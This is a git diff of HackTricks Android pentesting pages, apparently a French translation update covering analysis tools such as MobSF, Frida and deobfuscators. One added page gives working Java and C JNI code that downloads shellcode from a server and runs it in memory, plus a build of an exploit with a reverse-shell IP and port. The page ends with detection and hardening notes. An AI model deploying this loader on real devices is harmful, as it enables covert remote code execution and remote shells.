analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. ### Assisted Dynamic analysis with MobSF -**MobSF** peut aussi être très utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas vous devrez installer MobSF et **genymotion** sur votre machine hôte (une VM ou Docker ne fonctionnera pas). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -Le **MobSF dynamic analyser** peut : +**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ +The **MobSF dynamic analyser** can: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Tout cela est fait automatiquement sauf pour les captures d'écran : vous devez appuyer lorsque vous voulez une capture d'écran ou appuyer sur "**Exported Activity Tester**" pour obtenir des captures de toutes les activités exportées. -- Capturer le **HTTPS traffic** -- Utiliser **Frida** pour obtenir des informations **runtime** +- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. +- Capture **HTTPS traffic** +- Use **Frida** to obtain **runtime** **information** -À partir des versions Android **> 5**, il lancera **automatically Frida** et définira les paramètres de **proxy** globaux pour **capture** le trafic. Il ne capturera que le trafic de l'application testée. +From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. **Frida** -Par défaut, il utilisera aussi quelques Frida Scripts pour **bypass SSL pinning**, **root detection** et **debugger detection** et pour **monitor interesting APIs**.\ -MobSF peut aussi **invoke exported activities**, prendre des **screenshots** de celles-ci et les **save** pour le rapport. +By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ +MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. -Pour **start** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les logs générés par les Frida scripts et sur "**Live API Monitor**" pour voir toutes les invocations vers les méthodes hookées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\ -MobSF permet également de charger vos propres **Frida scripts** (pour envoyer les résultats de vos Frida scripts à MobSF utilisez la fonction `send()`). Il propose aussi **several pre-written scripts** que vous pouvez charger (vous pouvez en ajouter dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il suffit de **les sélectionner**, appuyer sur "**Load**" et appuyer sur "**Start Instrumentation**" (vous pourrez voir les logs de ces scripts dans "**Frida Live Logs**"). +To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ +MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). ![](<../../images/image (419).png>) -De plus, vous disposez de quelques fonctionnalités auxiliaires Frida : +Moreover, you have some Auxiliary Frida functionalities: -- **Enumerate Loaded Classes** : Affiche toutes les classes chargées -- **Capture Strings** : Affiche toutes les chaînes capturées pendant l'utilisation de l'application (très bruyant) -- **Capture String Comparisons** : Peut être très utile. Il **montrera les 2 strings comparées** et si le résultat était True ou False. -- **Enumerate Class Methods** : Indiquez le nom de la classe (comme "java.io.File") et il affichera toutes les méthodes de la classe. -- **Search Class Pattern** : Recherche des classes par pattern -- **Trace Class Methods** : **Trace** une **classe entière** (voir les entrées et sorties de toutes les méthodes de la classe). Rappelez-vous que par défaut MobSF trace plusieurs méthodes API Android intéressantes. +- **Enumerate Loaded Classes**: It will print all the loaded classes +- **Capture Strings**: It will print all the capture strings while using the application (super noisy) +- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. +- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. +- **Search Class Pattern**: Search classes by pattern +- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods. -Une fois que vous avez sélectionné le module auxiliaire que vous voulez utiliser, vous devez appuyer sur "**Start Intrumentation**" et vous verrez toutes les sorties dans "**Frida Live Logs**". +Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". **Shell** -MobSF fournit aussi un shell avec quelques commandes **adb**, commandes **MobSF**, et des commandes **shell** courantes en bas de la page d'analyse dynamique. Quelques commandes intéressantes : +Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: ```bash help shell ls @@ -660,10 +665,10 @@ receivers ``` **Outils HTTP** -Lorsque le trafic HTTP est capturé, vous pouvez voir une vue brute du trafic capturé via le bouton "**HTTP(S) Traffic**" ou une vue plus lisible via le bouton vert "**Start HTTPTools**". Avec la seconde option, vous pouvez **envoyer** les **requêtes capturées** vers des **proxies** comme Burp ou Owasp ZAP.\ -Pour ce faire, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Lorsque le trafic http est capturé, vous pouvez voir une vue brute du trafic capturé sur le bouton "**HTTP(S) Traffic**" en bas ou une vue plus agréable sur le bouton vert "**Start HTTPTools**". Depuis la seconde option, vous pouvez **envoyer** les **requêtes capturées** vers des proxies comme Burp ou Owasp ZAP.\ +Pour ce faire, _allumez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez cliquer sur "**Start Web API Fuzzer**" pour **fuzz** les requêtes HTTP et rechercher des vulnérabilités. +Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzz http requests** et rechercher des vulnérabilités. > [!TIP] > Après avoir effectué une analyse dynamique avec MobSF, les paramètres du proxy peuvent être mal configurés et vous ne pourrez pas les corriger depuis la GUI. Vous pouvez corriger les paramètres du proxy en exécutant : @@ -672,20 +677,20 @@ Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez cliq > adb shell settings put global http_proxy :0 > ``` -### Assisted Dynamic Analysis with Inspeckage +### Analyse dynamique assistée avec Inspeckage Vous pouvez obtenir l'outil depuis [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Cet outil utilise des **Hooks** pour vous indiquer **ce qui se passe dans l'application** pendant que vous effectuez une **analyse dynamique**. +Cet outil utilisera des **Hooks** pour vous indiquer **ce qui se passe dans l'application** pendant que vous effectuez une **dynamic analysis**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -C'est un **excellent outil pour effectuer une analyse statique avec une GUI** +C'est un **excellent outil pour effectuer une static analysis avec une GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Cet outil est conçu pour rechercher plusieurs **vulnérabilités liées à la sécurité des applications Android**, que ce soit dans le **code source** ou dans les **APKs packagées**. L'outil est également **capable de créer un "Proof-of-Concept" deployable APK** et des **ADB commands**, pour exploiter certaines des vulnérabilités trouvées (Exposed activities, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test. +Cet outil est conçu pour rechercher plusieurs **security related Android application vulnerabilities**, que ce soit dans le **source code** ou dans des **packaged APKs**. L'outil est également **capable of creating a "Proof-of-Concept" deployable APK** et des **ADB commands**, pour exploiter certaines des vulnérabilités trouvées (Exposed activities, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -695,9 +700,9 @@ qark --java path/to/specific/java/file.java ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) - Affiche tous les fichiers extraits pour une consultation facile -- Décompile automatiquement les fichiers APK au format Java et Smali -- Analyse AndroidManifest.xml pour détecter les vulnérabilités courantes et le comportement -- Analyse statique du code source pour détecter les vulnérabilités courantes et le comportement +- Décompile automatiquement les fichiers APK en Java et Smali +- Analyse AndroidManifest.xml à la recherche de vulnérabilités courantes et de comportements +- Analyse statique du code source pour détecter des vulnérabilités courantes et des comportements - Informations sur l'appareil - et plus encore ```bash @@ -705,9 +710,9 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER est une application en ligne de commande utilisable sous Windows, MacOS X et Linux, qui analyse des fichiers _.apk_ à la recherche de vulnérabilités. Elle le fait en décompressant les APK et en appliquant une série de règles pour détecter ces vulnérabilités. +SUPER est une application en ligne de commande qui peut être utilisée sur Windows, MacOS X et Linux, et qui analyse des fichiers _.apk_ à la recherche de vulnérabilités. Elle le fait en décompressant les APKs et en appliquant une série de règles pour détecter ces vulnérabilités. -Toutes les règles sont centralisées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles pour analyser ce dont ils ont besoin. +Toutes les règles sont centralisées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles selon ses besoins. Téléchargez les derniers binaires depuis la [download page](https://superanalyzer.rocks/download.html) ``` @@ -717,17 +722,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn est un outil **crossplatform** qui aide les développeurs, bugbounty hunters et ethical hackers à effectuer de la [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) sur les applications mobiles. +StaCoAn est un outil **multiplateforme** qui aide les développeurs, bugbounty hunters et ethical hackers à effectuer [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) sur les applications mobiles. -Le concept est que vous glissez-déposez le fichier de votre application mobile (un .apk ou .ipa) sur l'application StaCoAn et elle générera pour vous un rapport visuel et portable. Vous pouvez ajuster les paramètres et les wordlists pour obtenir une expérience personnalisée. +Le principe est que vous glissez-déposez le fichier de votre application mobile (un fichier .apk ou .ipa) sur l'application StaCoAn, et elle générera pour vous un rapport visuel et portable. Vous pouvez ajuster les paramètres et les wordlists pour obtenir une expérience personnalisée. -Téléchargez[ latest release](https://github.com/vincentcox/StaCoAn/releases): +Télécharger[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework est un système d'analyse de vulnérabilités Android qui aide les développeurs ou les hackers à trouver des vulnérabilités potentielles dans les applications Android.\ +AndroBugs Framework est un système d'analyse des vulnérabilités Android qui aide les développeurs ou les hackers à détecter d'éventuelles failles de sécurité dans les applications Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -735,11 +740,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** est un outil dont le but principal est de détecter et d'alerter l'utilisateur sur des comportements potentiellement malveillants développés par une application Android. +**Androwarn** est un outil dont l'objectif principal est de détecter et d'alerter l'utilisateur sur les comportements potentiellement malveillants développés par une application Android. -La détection est effectuée par **analyse statique** du bytecode Dalvik de l'application, représenté en **Smali**, à l'aide de la bibliothèque [`androguard`](https://github.com/androguard/androguard). +La détection est effectuée via la **static analysis** du Dalvik bytecode de l'application, représenté en **Smali**, à l'aide de la bibliothèque [`androguard`](https://github.com/androguard/androguard). -Cet outil recherche des **comportements courants d'applications "malveillantes"** tels que : exfiltration d'identifiants téléphoniques, interception de flux audio/vidéo, modification des données PIM, exécution de code arbitraire... +Cet outil recherche les **comportements courants des applications "malveillantes"** tels que : Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -747,30 +752,30 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** est un framework d'ingénierie inverse et d'analyse d'applications mobiles. C'est un outil qui regroupe des outils couramment utilisés pour l'ingénierie inverse et l'analyse d'applications mobiles, afin d'aider à tester les applications mobiles contre les menaces de sécurité mobiles OWASP. Son objectif est de faciliter cette tâche et de la rendre plus accessible aux développeurs d'applications mobiles et aux professionnels de la sécurité. +**MARA** est un **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. C'est un outil qui regroupe des outils couramment utilisés pour la rétro-ingénierie et l'analyse d'applications mobiles, afin d'aider à tester les applications mobiles contre les menaces de sécurité mobile d'OWASP. Son objectif est de rendre cette tâche plus simple et plus accessible pour les développeurs d'applications mobiles et les professionnels de la sécurité. -Il permet de : +Il est capable de : -- Extraire le code Java et Smali en utilisant différents outils -- Analyser les APKs en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Extraire des informations privées depuis l'APK en utilisant des regexps. +- Extraire du code Java et Smali en utilisant différents outils +- Analyser des APKs en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Extraire des informations privées de l'APK en utilisant des regexps. - Analyser le Manifest. - Analyser les domaines trouvés en utilisant : [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) et [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Déobfusquer un APK via [apk-deguard.com](http://www.apk-deguard.com) +- Déobfusquer l'APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Utile pour détecter des malware : [https://koodous.com/](https://koodous.com/) +Utile pour détecter du malware : [https://koodous.com/](https://koodous.com) ## Obfuscating/Deobfuscating code -Notez que, selon le service et la configuration utilisés pour obfusquer le code, les secrets peuvent être ou non obfusqués. +Notez que, selon le service et la configuration que vous utilisez pour obfusquer le code, les secrets peuvent ou non finir obfusqués. ### [ProGuard]() -From [Wikipedia](): **ProGuard** est un outil open source en ligne de commande qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et supprimer les instructions non utilisées. ProGuard est un logiciel libre et est distribué sous la GNU General Public License, version 2. +From [Wikipedia](): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. -ProGuard est distribué dans l'Android SDK et s'exécute lors de la construction de l'application en mode release. +ProGuard is distributed as part of the Android SDK and runs when building the application in release mode. ### [DexGuard](https://www.guardsquare.com/dexguard) @@ -779,16 +784,16 @@ Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexgu (From that guide) Last time we checked, the Dexguard mode of operation was: - charger une ressource en tant qu'InputStream ; -- fournir le résultat à une classe héritant de FilterInputStream pour le déchiffrer ; -- effectuer une obfuscation inutile pour faire perdre quelques minutes à la personne effectuant le reverse engineering ; +- fournir le résultat à une classe héritant de FilterInputStream pour la décrypter ; +- effectuer quelques obfuscations inutiles pour faire perdre du temps au reverseur ; - fournir le résultat déchiffré à un ZipInputStream pour obtenir un fichier DEX ; -- enfin charger le DEX obtenu comme Resource en utilisant la méthode `loadDex`. +- enfin charger le DEX résultant en tant que Resource en utilisant la méthode `loadDex`. ### [DeGuard](http://apk-deguard.com) -**DeGuard reversee le processus d'obfuscation effectué par les outils d'obfuscation Android. Cela permet de réaliser de nombreuses analyses de sécurité, y compris l'inspection du code et la prédiction des bibliothèques.** +**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** -Vous pouvez téléverser un APK obfusqué sur leur plateforme. +Vous pouvez uploader un APK obfusqué sur leur plateforme. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app @@ -800,7 +805,7 @@ It is a **generic android deobfuscator.** Simplify **virtually executes an app** ### [APKiD](https://github.com/rednaga/APKiD) -APKiD vous donne des informations sur la façon dont un APK a été créé. Il identifie de nombreux compilers, packers, obfuscators et autres choses bizarres. C'est [_PEiD_](https://www.aldeid.com/wiki/PEiD) pour Android. +APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. ### Manual @@ -810,24 +815,20 @@ APKiD vous donne des informations sur la façon dont un APK a été créé. Il i ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate qui inclut une collection des derniers frameworks, tutoriels et labs provenant de différents passionnés et chercheurs en sécurité pour le reverse engineering et l'analyse de malware. +AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate qui inclut une collection des derniers frameworks, tutoriels et labs provenant de différents passionnés et chercheurs en sécurité pour la rétro-ingénierie et l'analyse de malware. -## Références +## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) C'est une excellente liste de ressources -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Cours rapide pour Android - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) -- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) +- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) - [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) - -## À tester - -- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) -- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) +- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md new file mode 100644 index 000000000..cca265695 --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md @@ -0,0 +1,121 @@ +# Android Exécution de code natif en mémoire via JNI (shellcode) + +{{#include ../../banners/hacktricks-training.md}} + +Cette page documente un pattern pratique pour exécuter des payloads natifs entièrement en mémoire depuis un processus d'app Android non fiable en utilisant JNI. Le flux évite de créer un binaire natif sur disque : télécharger des octets raw de shellcode via HTTP(S), les passer à un bridge JNI, allouer de la mémoire RX, et sauter dedans. + +Pourquoi c'est important +- Réduit les artefacts forensiques (pas d'ELF sur disque) +- Compatible avec “stage-2” native payloads générés à partir d'un binaire exploit ELF +- S'aligne sur le tradecraft utilisé par les malwares modernes et les red teams + +Schéma général +1) Récupérer les octets de shellcode en Java/Kotlin +2) Appeler une méthode native (JNI) avec le tableau d'octets +3) Dans JNI : allouer de la mémoire RW → copier les octets → mprotect vers RX → appeler l'entrypoint + +Exemple minimal + +Java/Kotlin side +```java +public final class NativeExec { +static { System.loadLibrary("nativeexec"); } +public static native int run(byte[] sc); +} + +// Download and execute (simplified) +byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes(); +int rc = NativeExec.run(sc); +``` +C côté JNI (arm64/amd64) +```c +#include +#include +#include +#include + +static inline void flush_icache(void *p, size_t len) { +__builtin___clear_cache((char*)p, (char*)p + len); +} + +JNIEXPORT jint JNICALL +Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) { +jsize len = (*env)->GetArrayLength(env, sc); +if (len <= 0) return -1; + +// RW anonymous buffer +void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); +if (buf == MAP_FAILED) return -2; + +jboolean isCopy = 0; +jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy); +if (!bytes) { munmap(buf, len); return -3; } + +memcpy(buf, bytes, len); +(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT); + +// Make RX and execute +if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; } +flush_icache(buf, len); + +int (*entry)(void) = (int (*)(void))buf; +int ret = entry(); + +// Optional: restore RW and wipe +mprotect(buf, len, PROT_READ | PROT_WRITE); +memset(buf, 0, len); +munmap(buf, len); +return ret; +} +``` +Remarques et mises en garde +- W^X/execmem: Android moderne applique W^X ; les mappings anonymes PROT_EXEC sont généralement encore autorisés pour les processus d'application avec JIT (sous réserve de la politique SELinux). Certains appareils/ROM restreignent cela ; basculez vers des pools exec alloués par le JIT ou des native bridges si nécessaire. +- Architectures: Assurez-vous que l'architecture du shellcode correspond à celle de l'appareil (arm64-v8a couramment ; x86 seulement sur les émulateurs). +- Contrat de point d'entrée: Décidez d'une convention pour l'entrée de votre shellcode (sans arguments vs pointeur vers structure). Gardez-le position-independent (PIC). +- Stabilité: invalidez le cache d'instructions avant de sauter ; un cache désynchronisé peut provoquer un plantage sur ARM. + +Packaging ELF → position‑independent shellcode +Une pipeline robuste pour l'opérateur consiste à : +- Construisez votre exploit en tant qu'ELF statique avec musl-gcc +- Convertissez l'ELF en un blob de shellcode auto‑chargé en utilisant pwntools’ shellcraft.loader_append + +Compilation +```bash +musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \ +-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` +Transformer un ELF en raw shellcode (exemple amd64) +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +loader = shellcraft.loader_append(elf.data, arch='amd64') +sc = asm(loader) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}") +``` +Pourquoi loader_append fonctionne : il émet un tiny loader qui mappe les segments du programme ELF embarqué en mémoire et transfère le contrôle à son entrypoint, vous fournissant un unique raw blob qui peut être memcpy’ed et exécuté par l'app. + +Delivery +- Hébergez sc sur un serveur HTTP(S) que vous contrôlez +- The backdoored/test app télécharge sc et invoque le JNI bridge montré ci‑dessus +- Écoutez sur votre operator box toute reverse connection que le kernel/user-mode payload établit + +Validation workflow for kernel payloads +- Utilisez un vmlinux symbolisé pour un reversing rapide / récupération d'offsets +- Prototypez les primitives sur une debug image pratique si disponible, mais révalidez toujours sur la cible Android réelle (kallsyms, KASLR slide, page-table layout, et mitigations diffèrent) + +Hardening/Detection (blue team) +- Interdire PROT_EXEC anonyme dans les domaines d'application lorsque possible (SELinux policy) +- Appliquez une intégrité stricte du code (pas de chargement natif dynamique depuis le réseau) et validez les canaux de mise à jour +- Surveillez les transitions mmap/mprotect suspectes vers RX et les copies volumineuses de byte-array précédant des jumps + +References +- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone) +- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh) +- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py) +- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c) +- [INSTRUCTIONS.md (notes d'installation)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 323856e77..c34ea8535 100644 --- a/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -1,16 +1,16 @@ -# Reversing Native Libraries +# Rétro‑ingénierie des bibliothèques natives {{#include ../../banners/hacktricks-training.md}} -**Pour plus d'informations, consultez :** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) +**Pour plus d'informations, consulter :** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) -Les applications Android peuvent utiliser des bibliothèques natives, typiquement écrites en C ou C++, pour des tâches critiques en performance. Les créateurs de malware abusent aussi de ces bibliothèques parce que les ELF shared objects restent plus difficiles à décompiler que le byte-code DEX/OAT. -Cette page se concentre sur des workflows *pratiques* et des améliorations récentes des outils (2023-2025) qui rendent le reversing des fichiers `.so` Android plus simple. +Les applications Android peuvent utiliser des bibliothèques natives, typiquement écrites en C ou C++, pour des tâches sensibles en performance. Les créateurs de malware en abusent aussi car les objets partagés ELF restent plus difficiles à décompiler que le byte‑code DEX/OAT. +Cette page se concentre sur des workflows *pratiques* et des améliorations d'outillage *récentes* (2023-2025) qui facilitent le reverse engineering des fichiers `.so` Android. --- -### Quick triage-workflow for a freshly pulled `libfoo.so` +### Workflow de triage rapide pour un `libfoo.so` fraîchement extrait 1. **Extraire la bibliothèque** ```bash @@ -25,26 +25,26 @@ file libfoo.so # arm64 or arm32 / x86 readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc. checksec --file libfoo.so # (peda/pwntools) ``` -3. **Lister les symboles exportés et les bindings JNI** +3. **Lister les symboles exportés et les liaisons JNI** ```bash readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI ``` -4. **Charger dans un décompilateur** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) et lancer l'auto-analyse. -Les versions récentes de Ghidra ont introduit un décompilateur AArch64 qui reconnaît les stubs PAC/BTI et les tags MTE, améliorant grandement l'analyse des bibliothèques construites avec l'Android 14 NDK. -5. **Décider entre static vs dynamic reversing :** le code strippé/obfusqué nécessite souvent de l'*instrumentation* (Frida, ptrace/gdbserver, LLDB). +4. **Charger dans un décompilateur** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) et lancer l'auto‑analyse. +Les versions récentes de Ghidra intègrent un décompilateur AArch64 qui reconnaît les stubs PAC/BTI et les tags MTE, améliorant grandement l'analyse des bibliothèques construites avec l'Android 14 NDK. +5. **Décider entre rétro‑ingénierie statique et dynamique :** les binaires stripped et obfusqués nécessitent souvent de l'*instrumentation* (Frida, ptrace/gdbserver, LLDB). --- ### Instrumentation dynamique (Frida ≥ 16) -La série 16 de Frida a apporté plusieurs améliorations spécifiques à Android qui aident lorsque la cible utilise des optimisations modernes de Clang/LLD : +La série 16 de Frida a apporté plusieurs améliorations spécifiques à Android qui aident lorsque la cible utilise les optimisations modernes de Clang/LLD : -* `thumb-relocator` peut maintenant *hooker de petites fonctions ARM/Thumb* générées par l'alignement agressif de LLD (`--icf=all`). -* L'énumération et le rebinding des *ELF import slots* fonctionne sur Android, permettant des patchs par-module via `dlopen()`/`dlsym()` quand les hooks inline sont rejetés. +* `thumb-relocator` peut maintenant *hook* de très petites fonctions ARM/Thumb générées par l'alignement agressif de LLD (`--icf=all`). +* L'énumération et la réaffectation des *ELF import slots* fonctionne sur Android, permettant le patch par module via `dlopen()`/`dlsym()` lorsque les inline hooks sont rejetés. * Le Java hooking a été corrigé pour le nouvel **ART quick-entrypoint** utilisé lorsque les apps sont compilées avec `--enable-optimizations` sur Android 14. -Example: enumerating all functions registered through `RegisterNatives` and dumping their addresses at runtime: +Exemple : énumérer toutes les fonctions enregistrées via `RegisterNatives` et dumper leurs adresses à l'exécution : ```javascript Java.perform(function () { var Runtime = Java.use('java.lang.Runtime'); @@ -61,16 +61,16 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met }); }); ``` -Frida fonctionnera immédiatement sur les appareils activés PAC/BTI (Pixel 8/Android 14+) tant que vous utilisez frida-server 16.2 ou plus récent – les versions antérieures échouaient à localiser le padding pour les inline hooks. +Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks. ### 